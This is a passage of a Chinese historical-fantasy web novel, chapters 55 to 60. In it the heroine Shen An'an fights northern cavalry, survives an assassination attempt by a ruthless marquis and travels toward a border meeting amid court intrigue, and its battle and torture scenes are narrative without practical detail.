《披甲上阵后,娘娘她成了江山绝色》 第55章雷火 沈安安一骑当先,她的刀罡率先和扎木乃碰撞上,第一回合谁也没有在对方身上讨到半点好处。 与扎木乃擦肩而过的瞬间,沈安安的动作开始大开大合杀的北戎军团人仰马翻。 纵使沈安安再神勇,但北戎军团的数量始终都是楚家军的十倍之多。 第一轮冲锋还未到一半,己方就已经损失惨重,从两百余骑骤减到了不足百骑。 可戏剧性的是,后续的北戎骑兵迎上杀红眼的沈安安时纷纷都胆怯的别过马头避开。 这就导致了紧贴沈安安身后的几十骑楚家军将士,皆畅通无阻的结束了第一回合的冲锋。 沈安安调转马头,她抖了抖手中弯刀沾满的血迹,而后瞥了一眼身旁的赵五。 发现赵五胸前的甲胄被砍开,长又宽的伤口已经可以看见白骨。 不光是赵五,楚家军剩余的几十骑皆是伤的不轻,若不是刚刚北戎人胆怯,他们断不能熬过第一场冲锋。 事到如今,沈安安清楚下一轮冲锋必须要将北戎首将斩于马下才会有致胜的可能。 她的弯刀再次指向前方,尽管她的脸上布满了血迹,亦是遮掩不住半点她那坚韧的目光,“狭路相逢勇者胜,只要我们无所畏惧,敌军定会尽数被我们斩于马下,随我杀光他们。” 话毕,沈安安“驾。”一声,率先朝着北戎军团发起新的一轮冲锋。 她身后的几十骑楚家军亦是吼着“杀”紧紧跟随,此刻的他们皆是将生死置之度外,必死的决心赋予了每位楚家军将士前所未有的勇气。 就连身经百战的扎木乃望着迎面冲锋而来的阵仗,都不禁倒吸了一口凉气。 他恶狠狠的看了一眼身后的队伍,“再有怯战者当场斩杀,家眷及后代永世为奴。” 说罢,他弯刀高举带领着数千骑声势浩大的发起了冲锋。 就在抵近沈安安的一瞬间,扎木乃忽地大喝一声:“我乃北戎第一勇士扎木乃,来将何人报上名来。” 每一个北戎将领在面对可敬的对手时,都会给予对方足够的尊重,从不会斩杀无名之将,这也是他们荣誉史上的厚重一笔。 话音落,刀刃撞,沈安安一刀破甲,将扎木乃斩伤落马,她回眸的瞬间回道:“沈安安!” 若不是扎木乃的甲胄精良,刚刚沈安安的一刀,足以让他开膛破腹。 主将倒下,北戎军团瞬间就开始军心不稳,被沈安安的队伍冲的四零五散。 这一轮冲锋下来,北戎可谓是损失惨重。 就在沈安安想乘势彻底击溃扎木乃军团的时候,一阵急促的、万马奔腾的震动感,不禁让她勒住了马的缰绳。 北戎援军乌泱泱的举着火把排山倒海似的驰援了过来。 一名膘肥体胖、胡须满面的大汉一跃下马,面露担忧的来到被北戎士兵扶着的扎木乃跟前,“扎木乃,你,你的耳朵?” 扎木乃脸色煞白,胸口的血止不住的往外淌着,他艰难的摇了摇头,“父汗,我没事……” 话毕,扎木乃便不醒人事了。 赵五擦了一把脸上的血珠,望着乌泱泱的北戎军团,而后又看向沈安安满脸忧虑的开口道:“娘娘,我们帮你拖住,你赶紧撤退吧。” “是啊娘娘,你快走吧,够了,这一战老子也是杀爽了,死了也是值了。” “娘娘快走吧。” 剩余不到三十骑的楚家军将士亦是接连开口劝着沈安安离开。 沈安安却是丝毫没有要走的意思,她回眸看向众人一笑,“已经没有撤退可言了,我们的马皆已劳损,逃是逃不掉的。 一会儿我们保持阵型,待我万军丛中挟持住敌方援军将领,我们一起离开。” 在上一世万军丛中生擒敌军将领这种事,沈安安没少干。 这也是她从戎多年的一种脱困惯用手段。 奈何沈安安的计划赶不上变化,北戎可汗扎哈瓦见自己的儿子受伤如此之重,当即便目露凶光命令道:“给我射死他们,把他们的尸体丢到草原喂狼。” 下一瞬,北戎骑兵纷纷让出了一条道,一排弓箭手迅速列阵,齐齐拉弓搭箭准备射击。 沈安安顿感不妙,就在她正想怎么应对之时,她的后方忽地传来一阵急促的马蹄声。 紧接着就是“砰砰砰!”数十声巨响,就见北戎刚列阵完毕的弓箭手应声倒下了一排。 一排金戈铁马瞬间举着火铳挡在了沈安安等二十余骑楚家军的面前,他们的火铳黑管此时还冒着滋滋白烟。 千户举着手大声喝道:“第一排齐射,第二排准备。” “砰砰砰。”又是一轮射击,护京军虽仅仅四百骑,却是瞬间掌控了战场。 北戎的弓箭手拉弓根本就没有火铳快,一排一排的接连倒下。 扎哈瓦气的是吹胡子瞪眼,他怒的大手一挥,“给我冲,给我踏碎他们。” “杀!!!”北戎骑兵喊杀声瞬间震天响。 滑稽的是,由于火铳的巨响,他们的战马纷纷都显得异常的不安,根本就不听他们指挥。 除了护京军特殊训练过的战马,就连沈安安这边的几十匹从北戎军手里夺来的战马都异常的躁动不安。 任由北戎骑兵怎么抽打战马,马儿就是一步都不敢往前迈。 倒是也有胆子大的好马儿,只是没跑出几步就连人带马被护京军射成了筛子。 “母妃我来了。”一道稚嫩的声音朝沈安安靠近,夜亦德小跑着直奔沈安安。 “亦德?”沈安安丢腿下马快步的迎上了夜亦德,“你怎么来了?” 夜亦德看着面前的沈安安,小小的人儿不禁眉头蹙了又蹙。 沈安安从头到脚都是血淋淋的,就连她的发梢都不断的在滴着红色的血滴,整个人就好似淋了一场血浴一般。 夜亦德边用袖子擦拭着沈安安脸上的血渍,边说道:“我见这边冒着浓烟,我担心母妃所以就带着护京军来找你了。” 沈安安制止了夜亦德的动作,柔声道:“别擦了,一会你的身上也是一股腥臭味。” 夜亦德不管不顾仔仔细细的帮沈安安擦干净了脸,而后面色一变朝着身后的千户命令道:“让他们尝尝我轩辕雷火的滋味。” “是,殿下。”站在亦德身后的千户闻言拱手应了一声,随即便朝着护京军下达命令,“停止射击,转换雷火攻势。” 护京军虽然比不上轩辕王牌军队龙虎军,但也是一支装备精良训练有素的军队。 命令刚下达,他们便整齐划一的收起火铳,一边策马推进,一边从战马两边挂着的袋子掏出雷火。 数百骑护京军皆是左右手各一个拳头大小的黑色铁球,用嘴扯开引线,一股脑的朝着北戎军边靠近边招呼。 一时间护京军犹如雷神附体,炸的北戎军是人仰马翻。 北戎的战马更是像惊弓之鸟被爆炸声吓的四处乱窜。 北戎军一时间乱作一团,不是被炸死就是被自己的战马踩死。 第56章九阎王 莫说北戎军了,就连沈安安都看傻眼了。 她此时脑子里冒出四个字:‘火力覆盖。’ 她兀自嘀咕着:“亦天啊,以后你说的每个字为娘都信。” 今天她真是开眼了。 狗暴君不会是火神投胎吧? 还好她没有偷逃出宫、占山为王,不然现在被炸的就是她了。 她现在算是真正明白了,为什么作为轩辕最强劲的对手,北燕也要和轩辕开互市,甚至北燕产业乖乖给轩辕交赋税。 这不交行吗? 是她,她也交。 扎哈瓦见情况不妙,携子落荒而逃。 那些受伤的、没来得及逃走的北戎军,被护京军手持火铳,降为俘虏。 千户恭恭敬敬冲夜亦德道:“殿下,这些是杀还是留?” 夜亦德抬眸看向了沈安安,征求她的意见。 沈安安道:“杀降可不是君子所为,带回大营吧。 传信给定国侯,派人来驻守萧沙岭,护京军随我去北面山下看看百姓们。” 说罢,沈安安看向重伤的赵五等人,“你们是先回营还是去看看家人?” 谁又知道他们的家人是否还活着。 “娘娘,还撑得住,就算不为标下自己,也要为死去的兄弟回家看看。”赵五身负重伤,几乎是趴在马背上。 其他楚家军亦是点头赞同。 “好。”沈安安应着。 护京军千户安排了一百人随沈安安出发,另三百人原地看守。 夜亦德也不嫌弃沈安安满身血污,跟她同骑一匹马。 这场仗,从天黑打到了天亮。 天灰蒙蒙的,开始飘起了雪花。 沈安安双腿夹着马腹,甲胄早已经被砍烂了,袖子也是破破烂烂,血水拧了一遍又一遍。 额头不断有从发间沁下的血渍,更是让她的脸怎么擦都擦不干净。 夜亦德看着路过时地上的一具具不完整尸体,瞪着双眸张着嘴巴,“母妃,这是杀了多少人?” 沈安安用手擦了擦要流进嘴里的血水,“都拼命了谁还数数啊,你是不是傻?” “有这么厉害的军队,为什么不早派来镇守启西?非要死那么多人干什么?”沈安安不解的问着夜亦德。 夜亦德想了想,把夜不群的话原封不动的复述,“皇叔说京城有二十万启东军、凤州有二十万启东军,护京军留在京城是防守这四十万贼心不死的叛军的。” “叛军?”沈安安一头雾水,“什么玩意儿?能不能讲些我能听懂的?” 夜亦德娓娓道来:“这得细细说,北燕的皇帝叫陆诰,曾是我轩辕的异姓王。 北燕的皇后叫郑婉婉,曾是我轩辕镇国大将军之女。 郑皇后在我轩辕的地盘鄂州,也就是他们现在的国都燕京造反时,手握的十万大军,就是启东军的少将军、也就是太子哥哥的亲舅父,送给她的。” 沈安安一脸的莫名其妙,“这跟启东军有什么关系?” “当然有关系了,原本皇叔领着四十万大军,要把郑皇后杀死在朝夕城的。 宇文老将军打败了楚老将军后,领着四十万启东军驰援,救走了郑皇后和镇国大将军。” “啊???”沈安安想了想。 “你皇叔这么厉害,这人还能被救走?” “那时候皇叔才九岁,火器还没有造出来,他手底下的千人斩也才跟他一样大。 要是放在现在,他们早完了,估计也没有北燕了。”夜亦德说着,他眼珠子滴溜溜的转着。 “我告诉你母妃,皇叔九岁被封作摄政王了,灭了东渝、屠了大晟国……” “你等会儿。”沈安安打断了他的话,“屠国?你确定没说错?” “是他们找死,抓了现在的皇后吊在城门上引皇叔,那时候皇后还是皇叔的贴身婢女。”夜亦德点着头,声音里尽是崇拜。 “就是屠了大晟之后,皇叔就被称为九阎王了。 从此只有我们打别人,没有别人打我们,就是强如北燕也要跟我们握手言和。 现在大晟人都还是我们轩辕人的奴隶呢,就跟我的封地挨着,以后我让他们给母妃你种田。” “唉。”沈安安叹息了一声,只能说太狠了。 “那你皇叔这么强,北戎怎么敢的?”她发出疑惑。 夜亦德嘟着小嘴,“你看他们敢过萧沙岭吗?大概在很多很多年以前,启西有一半是他们的。” “他们现在只能在草原了,能不来抢一抢吗?要不然吃啥穿啥?” 沈安安又是灵魂一问:“那你皇叔为什么不干脆灭了北戎?” “皇叔说杀鸡焉用牛刀,大规模作战北燕会乘虚而入的。”夜亦德一股脑的把知道的全都说出来。 沈安安算是听明白了,“说这么多,还不是怕北燕。” 夜亦德倔强的纠正着:“北燕那个皇帝,净会搞偷袭,据不可靠消息,郑皇后是个神仙。 听说她大手一挥,能清空国库,我父皇还是太子时,就被她偷光了太子府,连花园的假山都没放过。” 沈安安听得有些晕头转向,“你别说了,这都什么跟什么?” 显然,她又是有点儿不信。 就这么一路到了萧沙镇。 他们来晚了一步,遍地的尸体。 鲜血还未凝固,明显是北戎逃跑时刚杀的,他们屠了整个镇子。 看到这一幕的楚家军,哭的声嘶力竭,扑在地上扒着一具具重重叠叠的尸体。 清晨清冷的空气里,弥漫着血腥味。 一个个死状残忍的平民,衣不蔽体的倒在雪地里,鲜血染红了洁白的雪,像是一步踏入了炼狱一般。 哭爹喊娘的声音,响彻天际,在空谷里不断回响。 沈安安翻身下马,将夜亦德抱了下来。 她声音沉沉,冲护京军说着:“兄弟们,搭把手埋了吧。” 前一世,她见了太多的尸山血海,不知埋过多少具尸体。 可再看到,仍是心中泛起不忍。 护京军默默的挖坑,手法娴熟,看来也没少埋人。 打仗就是残酷的,许多人死了,也只是一座无名无姓的孤坟。 “唉,造孽啊。”沈安安摇头叹息。 她看着倒在地上,悲痛到力竭的楚家军,“我带你们回京吧,以后有我一口吃的,就有你们一口。” 夜亦德圆溜溜的眼睛转了转,“母妃你要收他们做太监?” 正在哭的楚家军们,闻言一时竟都止住了哭声,一脸震惊的看向了沈安安。 第57章无功有罪 “你为什么说我要让他们做太监?”沈安安反问着。 夜亦德理所应当道:“娘娘宫里除了太监还能有别的男人吗?” “额……”沈安安一时语塞,她倒是想到了董聂和李汉民。 但这两人都是暴君指派给亦德教他东西的,况且现在一个进大牢了,一个调职了。 “走吧,当我没说。”沈安安摆了摆手。 楚家军众人松了一口气。 他们亲手埋葬了亲人,立了墓碑,随着沈安安返回大营。 他们路过萧沙岭时,定国侯亲率的大军已经接替了护京军在镇守。 一片火光里,萧沙岭上挖了个很大很大的深坑。 定国侯骑在马背上,面无表情的指挥着士兵将北戎俘虏的尸体扔进坑里。 两千余人的俘虏,被他屠杀殆尽了。 沈安安不可置信的看着,问着怀中的夜亦德,“他一贯都是这样吗?” 夜亦德点了点头,“现在已经算好的了。” “定国侯小时候就是个乞丐,我父皇给皇叔招收千人斩的时候,他脱颖而出,就是因为狠。 千人斩本就是千里挑一,最终活下来的那个才合格。 他把选拔出来的九百九十九个也全杀了,当时武大人和杨大人把他关在笼子里面送给皇叔的。 哦对了,还有首辅大人,严格来说,第一批千人斩只有他俩,后面的都是他俩教出来的。” 沈安安垂着眼睑,“这么残忍的筛选方法你皇叔是怎么想出来的?” 在她的世界里,精锐是可以训练而成,没必要非要别人以命相搏。 “皇叔管这叫弱肉强食,哦不,丛林法则。 只有精英才配活在这个世上。”夜亦德竖起一根手指,老神在在的说着。 “精英是什么?”沈安安第一次听这个词。 “就是翘楚。”小小的人儿回着。 沈安安没在萧沙岭多作停留,领着护京军和赵五等人回了烟西大营。 军医还没叫来呢,等待着赵五二十几人的,是囚车。 “这是什么意思?”沈安安翻身下马,拦在赵五一行人前面。 定国侯仍是骑在马背上,睥睨着沈安安,“反贼不就应该关在笼子里,押回京城,听候陛下发落吗?” 沈安安据理力争,“什么反贼?他们拼死夺下了萧沙岭,斩敌数千,怎的就成了反贼? 我反对你这样对待他们。” 赵小高冷哼一声,“违抗军令就是反贼,你反对也无效,拿下。” 沈安安双手捏成拳头,她哪儿肯? 就要跟赵小高一决高下时,夜亦德抱住了她的腿,“母妃,留得青山在不愁没柴烧,京城可是我们的地盘。” “等回京见到皇叔,我会一五一十把赵五他们的军功说给皇叔的。 反正你不也打算带他们回京吗?到时候我让皇叔把他们赏给我。” 从小到大,凡是他想要的,夜不群都会满足他。 沈安安闻言,松了手上力道,冲赵小高道:“那好歹让军医先给他们包扎吧?” 赵小高头也不回,“反贼也配?” “看在娘娘的份上,回京路上一天给他们一个馒头,记住,一定要是冷的。 至于能不能撑到京城,就看他们的了。” 夜亦德也有些生气了,冲着赵小高的背影看着,“你是懂怎么气我母妃的。” 赵小高不语,进了主帅营帐。 他已飞鸽传书送回京城,一封是给陛下的捷报;一封是给魏大贤的,写明了萧沙岭一战的真实情况。 坐在椅子上,他若有所思,荣贵妃这么能打,太子有如此羽翼,对三殿下大不利。 此女断不可留。 营帐外,护京军千户冲夜亦德道:“殿下,侯爷下了命令,我等也只能奉命行事。 殿下和娘娘放心,一路上我会多多关照这些个弟兄的。” 让军医给赵五他们治伤是不可能了,沈安安又从夜亦德怀里掏出一张银票,递给了千户。 “给他们找个大夫医治,再买身厚衣服和干粮,剩下的就是你们的酒水钱了。” 千户嘴上说着不合规矩,手上拿银票的动作却没停。 千户扭头冲赵五等人说着:“兄弟们,得罪了。” 赵五叹息了声,“无妨。” 安排好一切,沈安安领着夜亦德回了夜亦天的营帐。 他还是病恹恹的躺在床榻上。 看见沈安安进来,他眉心紧蹙,上下打量着,“你怎么搞成了这样?” 沈安安神色淡淡,“战场上哪儿有杀人不见血的?” 夜亦天看她步伐稳健,应当是没受什么致命伤,这才松了口气。 她全身的衣服都被血水浸透了,便是身上有伤,在满身血污的掩盖下,也看不大真切。 “好了好了,你有什么想知道的问亦德吧,你没事儿就好,早点休息吧。 我也回营帐洗漱了,明天一早要回京了。”沈安安说罢,挥着手退出了营帐。 “不是回京,是去……”夜亦天话还没说完,沈安安已经消失不见了。 夜亦德给夜亦天掖了掖被子,“皇兄你睡吧,不打紧,明天再说。” 夜亦天哪里有睡意?拉着夜亦德一起躺在了床榻上,“快跟孤说说,都发生了什么?” 夜亦德圆溜溜的眼睛睁大了,“血,全是血……” 军营里都是男人,没人伺候沈安安洗漱。 她褪掉身上的烂甲胄和破衣衫,钻进了浴桶里。 胳膊上几道刀伤,泡在水里生疼,片刻就将浴桶染红了。 背上也没好到哪里去,虽然甲胄挡了大部分的伤害,但仍是留下了几道伤口。 她拿着铜镜,左看看右看看,抚着自己的脸,“还好还好,我这绝世的容颜没被毁掉。” 她心想,过这一把瘾就够了,这辈子她要做个淑女,享福。 她仔细看了看伤口,不是很深,及时用金疮药的话,应该不会留疤。 就是冬日,可能好的慢些。 忽地,她一拍浴桶,“哎呀,我的枭龙,忘牵了。” 沈安安麻溜的从浴桶里钻出来,自己上了药,穿好衣服。 垂眸看了看锦衣华服,她自言自语着:“对嘛,这雍容华贵的样子才是我。” 出了营帐,骑上一匹马,就往萧沙岭的方向去找枭龙了。 饶是六感灵敏的沈安安,都未察觉到,她出大营不久后,一道身影骑着马跟在她身后。 第58章暗杀不成就陷害 赵小高手持火铳,瞄着远遁的沈安安,他久久没扣动扳机。 直至沈安安完全消失,他才垂下了手,小声的嘀咕着:“不行,不能图省事。” 若是折返回大营放火铳,可就追不上沈安安了。 他抬手轻轻一抛,将火铳稳稳的挂在了树上。 赵小高从怀中掏出了黑甲面具,“许久未戴你了,老伙计。” 面具扣在脸上,严丝合缝。 暗杀不成,他改明杀。 两人骑术不相上下。 进了林子,沈安安拍了拍战马的屁股,它扭头自己回大营了。 战马都是训练有素的,认路比人都厉害。 沈安安三两步来到枭龙面前,解开了绑着的缰绳,拍着它的脸,附在它耳边说着:“先回去吧枭龙。” 枭龙听懂了,倒是跑得快,头也不回。 “来都来了,何必躲躲藏藏。”见枭龙跑远了,沈安安方平静如水的说着。 暗处的赵小高,现身后却一言不发。 沈安安转过身,看着对面的男人。 她摸着下巴,望着一身玄衣的面具男,窄腰高个儿,身形挺拔。 她横看竖看,都觉得熟悉。 “这身形、这站姿,你是定国侯吧?”虽是问话,但沈安安十分笃定。 赵小高:“???” 只要他不说话,就不是他。 他自腰间掏出一把半臂长的匕首,刀刃都被磨薄了,不知道这把匕首上沾了多少条人命。 他也不啰嗦,直冲着沈安安命门就去了。 他动作太快。 沈安安掏出匕首的刹那,他的刀刃已抵她的心口。 她一招四两拨千斤,刀尖碰撞的一瞬间,两人位置互换。 沈安安警惕起来,“不愧是干掉其他九百九十九个的定国侯,果真厉害。 佩服佩服,玩够了吗?我可以回去了吗?” 赵小高收起匕首,下一瞬,他从袖子里抽出了一条锁链。 今天,她必须得死。 沈安安也不笨,脚尖点地,使用轻功一跃上了树。 哪儿知赵小高锁链扔出,那参天大树顷刻间倒地。 沈安安还未至树梢,侧身躲开朝自己压下来的大树,借力一蹬这才又跃了上去。 “这是什么链子?好喜欢怎么办?”沈安安眸子瞥着赵小高手中的锁链,简直就是她的心爱之物。 下一瞬,她就没心情想这些了。 就见赵小高手中的锁链,在内力的驱使下,耍的是虎虎生风,破坏力惊人。 沈安安没有可以格挡的武器,只得招招躲开。 所幸,她轻功好些。 赵小高眼看着追不上,干脆从怀中掏出了毒药弹,他心想:‘我让你跑。’ 手中几颗毒药弹朝着沈安安扔出,五颜六色的毒烟雾腾升起来。 林中的鸟雀哗啦啦掉下来。 与此同时,沈安安早就跑出了林子。 她劫后余生道:“真是技多不压身,还好我会闭气功,想不到吧?” 林子口处,她看见赵小高拴着的马。 一跃上了马背,匕首割断了马的缰绳,主打一个走别人的路,让别人无路可走。 悠哉悠哉从林子里出来的赵小高,望着马蹄飞扬的远方,摘掉了面具,“倒是小瞧你了。” 沈安安一路回营,这一番折腾,体力算是彻底耗光了。 坐在自己营帐的椅子上,她气喘吁吁,“好险好险,再不走也不知道他要掏出多少宝贝。” 沈安安挠了挠头,“唉,亦德说的没错,定国侯杀人是专业的。” 她想着,定国侯那锁链到底是什么材质的,什么样的武器才能不被那锁链削断? “母妃。”营帐外响起夜亦德的声音。 “进来吧。”沈安安坐正身子,说道。 随着帘子掀开,一阵肉香味儿传来。 她定睛看去,就见夜亦德身后跟着两个护京军护卫,一人端着一锅羊肉汤,一人端着一盘烤羊腿和烤猪蹄。 沈安安咽了咽口水,把桌子上的东西一把拨开,抬手招呼着护卫放到她面前。 还是出发时吃的一口大饼,早饿了。 “这里还有这稀罕物?”沈安安用夜亦德递过来的帕子擦了擦手。 夜亦德在她对面坐下来,“我让人去前面镇子里买的,母妃你辛苦了,要好好吃点肉。” 沈安安点着头,抓起一只大猪蹄,大快朵颐起来,“一起吃一起吃。” “烧刀子有没有?来一壶。” 夜亦德低着头,默不作声。 沈安安咽下一口肉,“怎么了?你平时不是最爱吃的吗?” 夜亦德小手在胸前揉了揉,好半晌才从怀中掏出一张银票,“就剩这点了?” 沈安安闻言,猪蹄都掉在桌子上了,真想把吃进去的也吐出来。 “这么贵你都买?这这这……这也太离谱了吧?” 夜亦德摇着头,“不是母妃,买别的东西了。” “你买啥了?”沈安安问着。 “楚家军不是没有粮草吗?他们还要镇守这里,我就跟皇兄去找北燕的商队,给他们买了粮草回来。”夜亦德软糯的声音诚然道。 “害,多大点事儿?吃吧。”她浑不在意道,张口就是侠女气概。 她从小在军营里长大,对银钱不感兴趣。 这一世存钱,也是为了以后打算,谁叫她孤苦无依? 沈安安大口吃着烤羊腿,“哎呀真香!” “不过这北燕,真有实力啊。” 与此同时,主帅营帐里。 赵小高垂眸喝酒的一瞬间,看到了倒映在碗里的、自己的脑袋。 一根银针就插在他头发上。 他伸手拔下来,看了好半晌才丢进了酒碗里。 酒碗瞬间滋滋冒响,酒水变成了黑色。 “用我的毒来杀我,哼,倒是有点手段。”赵小高一把摔掉酒碗。 看来下次动手不可掉以轻心了,若是这根银针是特制的,恐怕已经扎透了他的天灵盖。 若不是面具和烟雾扰乱视听,想必沈安安也不会失手至此。 陛下传了信来,事毕之后,绕道去北燕,送太子和其外祖父会面,借此寻找机会,将郑皇后“带”回京城。 说是带,实则就是绑。 赵小高心中盘算着,这倒是是个好机会,那就让沈安安死在郑皇后手里吧。 思罢,他就抬步去了沈安安的营帐。 正在啃着羊腿的沈安安,不可置信的看着他:“什么?让我去绑了北燕皇后?这么猖狂吗?我不去。” 她心想:‘这老小子,杀不掉就陷害是吧?’ 她现在严重怀疑,圣旨是不是这样的? 第59章出巡 事实证明,沈安安的反对是无效的。 翌日天刚亮,赵小高率卫队开拔前往轩辕青州,那处乃是轩辕和北燕的接壤地带。 沈安安和夜亦德嚷嚷着要看圣旨,赵小高说“是陛下口谕。” 天寒地冻的,一大两小又坐上了来时的那辆马车。 并不是很宽敞,三个人便显得十分局促了。 夜亦德啃着红柳牛肉串,油腻腻的嘴撅着问沈安安:“母妃你真的要绑了郑皇后吗?” 沈安安听着车窗外悠哉悠哉的马蹄声。 也是奇了怪了,赵小高不去前面带路,就挨着马车走。 这是生怕她半路跑了不成? 不待沈安安开口,夜亦天义正严词道:“不行,绑了她两国就得开战,绝不能绑了郑皇后。” “这次去北燕的名义是孤去见外祖父,你们要是把郑皇后绑了,那孤的外祖父和小舅父岂不成了北燕众矢之的?” 沈安安看向他,问着:“你啥时候又有个小舅父了?” 夜亦德拿着肉串的手举起来,“我知道,是启东军原十二将领之一。 现在是轩辕的叛徒,改名换姓为宇文意,现在是北燕的大将军了。” 夜亦天抿着唇不语。 他倒是想反驳,但无从反驳。 沈安安看着他,那眼神仿佛在说:‘活该你不受待见,一家子反贼这谁遭得住?’ 她忽然觉得,夜不群那暴君还算好的了,好歹还留着亦天的太子之位。 这样比起来,还是她前世那个太子比较狠。 马车内气氛瞬间低沉,安静的针落可闻,可算是让夜亦德把天给聊死了。 与此同时,轩辕皇宫勤德殿内。 九五之尊高高在上的坐在龙椅上,睥睨着台阶下恭恭敬敬跪着的首辅大人魏大贤。 “你还没让他松口?”清冷的声音,带着与生俱来的王者霸气,让整个大殿的气氛都阴冷了下来。 魏大贤的身后,站着两名大理寺官员,此时头埋的低低的,生怕自己的呼吸触怒了龙颜。 “是臣无能。”魏大贤埋着头回道,声音里是恳切真挚。 夜不群半天不语,底下跪着的三人也不敢吭声。 刑用过了,威逼利诱都试了,郑扶胤就是不点头,逼的急了,他就要自断双手。 董聂不愧是他带出来的将,跟他一样倔,一边受着刑一边还在劝他千万不要被威胁。 但这些,陛下此时没问,他们也没敢禀明。 忽地,夜不群自龙椅上起身,迈步下了台阶。 “随朕去天牢里看看这位大将军。”他说完,大步流星的出了勤德殿。 魏大贤和两名大臣,赶忙跟上。 大理寺少卿惴惴不安,只是首辅大人下令让他们无论用什么办法都要搞定郑扶胤,陛下可没下旨让他们对郑扶胤用刑。 待会儿陛下看到郑扶胤的惨状,不会降罪于他们吧? 三人各怀心思,就这么一路到了大理寺天牢。 终日不见光的天牢,潮湿阴冷,冲鼻的血腥味传到了天牢门口。 夜不群对此司空见惯,并未有任何不适。 倒是少卿大人,建议干脆将人带出天牢,待陛下问过话后,再送回牢里。 夜不群摆了摆手,否决了他这个提议。 这间隙,他们已至刑房。 木架上绑着郑扶胤,他上身是光着的,胸前几道鞭痕,血淋淋的,脑袋低垂着,没了意识。 夜不群一个眼神示意,魏大贤便提起一旁的水桶,满满一桶冰水泼在了郑扶胤脸上。 刺骨的冰冷,一下子就将人惊醒了。 郑扶胤刚抬起头,视线就跟夜不群的对上,脱力的竟一时之间说不出一个字来。 夜不群也不急躁,眸中流露出些许惋惜,听见郑扶胤长长缓了口气,他这才开口。 “朕劝你再仔细想想,愿意送信,你就还是轩辕的大将军。 不愿意,那你和董聂就是轩辕的反贼。 朕并不想伤害她,只是要你将她请来给皇后治病。 所以是你请她来,还是朕一封国书送去北燕,让她拼死闯来京城救你。 你二选一。” 郑扶胤眸子抬了抬,“陛下是何等人也,臣能不知吗? 治好了另说,万一治不好呢?皇后病因是何,陛下比谁都清楚,何必多此一举? 如今婉儿能吊着皇后一口气,已是奇迹了,天命不可违,陛下又何必强求?” 这一番话,简直就是用刀子在戳夜不群的心。 他负于身后的双手捏成拳,愤怒升起又强压下去,仍是耐心十足的解释着:“朕只是要皇后醒过来,其他的绝不为难郑婉婉。” 郑扶胤别过头,“恕臣做不到。” 夜不群闻言,都气笑了,“好好好,你郑家人有种。” 他扭头命令着魏大贤:“大贤,给北燕下战书,那就打到郑婉婉来。” 不待魏大贤开口,郑扶胤先态度软了下来,着急开口:“陛下,臣有一两全之法。” 可夜不群耐心已经耗尽,并未停下离开的步伐。 跟在夜不群身边的魏大贤,回头瞥了一眼郑扶胤。 北燕并不弱,真要打起来,此时胜负难定,一则神威宝库的利器尚未建造完成,二则如今轩辕国力衰弱,百姓生活并不如意,不宜大动干戈。 三则东渝旧部和大晟旧部各怀异心,北燕是要灭,但绝不是现在。 搞不好就是被四面夹击了。 偷袭这一招,北燕皇帝最是擅长了,万不能给他可乘之机。 思罢,魏大贤罕见的进言道:“陛下请留步,要么听听看他怎么说?” 夜不群顿住步子,侧眸看过来,鹰隼一般的眸子落在魏大贤身上,仿佛要一眼将他看穿。 魏大贤低下眼睑,恭候着。 夜不群的眼神一扫而过,最终落在了郑扶胤脸上,“说。” 郑扶胤不假思索道:“臣愿带皇后娘娘前往青州,并给婉儿去信,相约在两国接壤之地见面。 臣和婉儿都不能保证一定能让皇后娘娘醒来,但臣能保证,婉儿一定会来。” “松绑。”夜不群不起波澜的声音命令着。 大理寺少卿忙上前去,动手解着绳子。 夜不群又道:“宣太医,给他疗伤。 大贤,通知千人斩,朕要出巡,陪皇后亲自去青州。” “是。”魏大贤恭敬应着。 送走了皇上,魏大贤亲自端着笔墨纸砚,来到郑扶胤面前,“请吧。” 郑扶胤却是摇头,“现在还早,等快到青州地界再去信也不迟。” 魏大贤“哼”了声,“你也听到了,陛下要带千人斩亲自出巡。 若是到了青州见不到郑婉婉,你知道是什么后果。” “这就不劳首辅大人操心了。”郑扶胤不以为然道。 魏大贤反手扔掉了文房四宝,粗人就是麻烦。 “首辅大人留步,我已经答应了去信,董聂是不是得放了?”郑扶胤望着魏大贤的背影问着。 魏大贤摆了摆手,少卿便知是要放人。 第60章自命不凡者,倒地不起 日暮西斜,沈安安他们刚出楚州地界。 黄土高原,没有一丝绿意,入目皆是枯黄萧条。 层层叠叠、座座连绵的山峰,一眼看过去尽显颓意。 山头或者山腰处,偶尔有几座零星散落的土房子,像极了无人居住的废弃残垣。 此处是个镇子,但见不到几座聚落成型的房屋。 “站住。”一声有气无力的大喊在无人的黄土路上响起。 马队停下。 就见道路两边的沟里,瞬间钻出几十名百姓。 他们或举着锄头,或拿着镰刀,又或是赤手空拳…… 一通动作,道路上的尘土飞扬起来,形成了厚厚一圈土雾。 “大胆刁民,知道这是谁的车驾吗?速速让开,否则格杀勿论。”护京军千户厉声道。 见他们都是穷苦百姓,他并未拔刀。 百姓们闻言纹丝不动,他们当然知道这是官家的车驾。 但他们现在跟死了没什么区别,抢人还管他是官是商?能有一口吃的就行。 反正不被打死,迟早也饿死,那还不如做个饱死鬼。 “管你是谁的车驾,粮食、银子、衣服、马匹,都留下。” “对,天王老子来了也没情讲。” 百姓们像往常截商队一样,先声势浩大,企图吓退他们。 却是不知,这次真惹了阎王。 “驾”赵小高冷冷一声,骑着马来到了队伍最前面。 这些百姓的惨在他眼里什么都不算,再惨能有他小时候惨吗? 有的人淋了雨,会想到给别人撑伞;但有的人淋了雨,想到的是把别人的伞撕烂。 不巧,赵小高是第二种。 千户察觉到他眼中的肃杀之气,开口道:“侯爷,这些都是……” 赵小高抬起一只手,打断了他的话,“这些都是劫匪,杀。” 下一瞬,刀剑出鞘的声音响起。 千户举着刀,冲百姓们道:“不想死的,赶紧退下。” 马车内,夜亦德揪住沈安安的袖子,问着:“母妃,怎么办?” 沈安安双手一摊,“天子犯法尚且与庶民同罪,何况百姓,我能怎么办?” 她刚才掀开帘子看了一眼,这群百姓驾轻就熟的样子,一看就不是第一次了。 不管出于什么原因,打家劫舍就是伤天害理。 一路走来,各种苦她没少见,整个轩辕又不是只有这一个镇子的人过的凄楚,怎么不见别的地方百姓出来抢。 过的苦不是他们的罪,但为了自己好过就抢别人,让别人痛不欲生,那就是他们的不对了。 沈安安脑子里滑过百姓们瘦成干柴的画面,兀自开口道:“不能说他们有错,但也不能包庇他们如此行径。 多一事不如少一事,造孽的事儿就交给侯爷吧,反正我们什么都没……” “哎,哎哎哎,你又去哪儿?” 沈安安伸出的一只手,终究是没能抓住夜亦天。 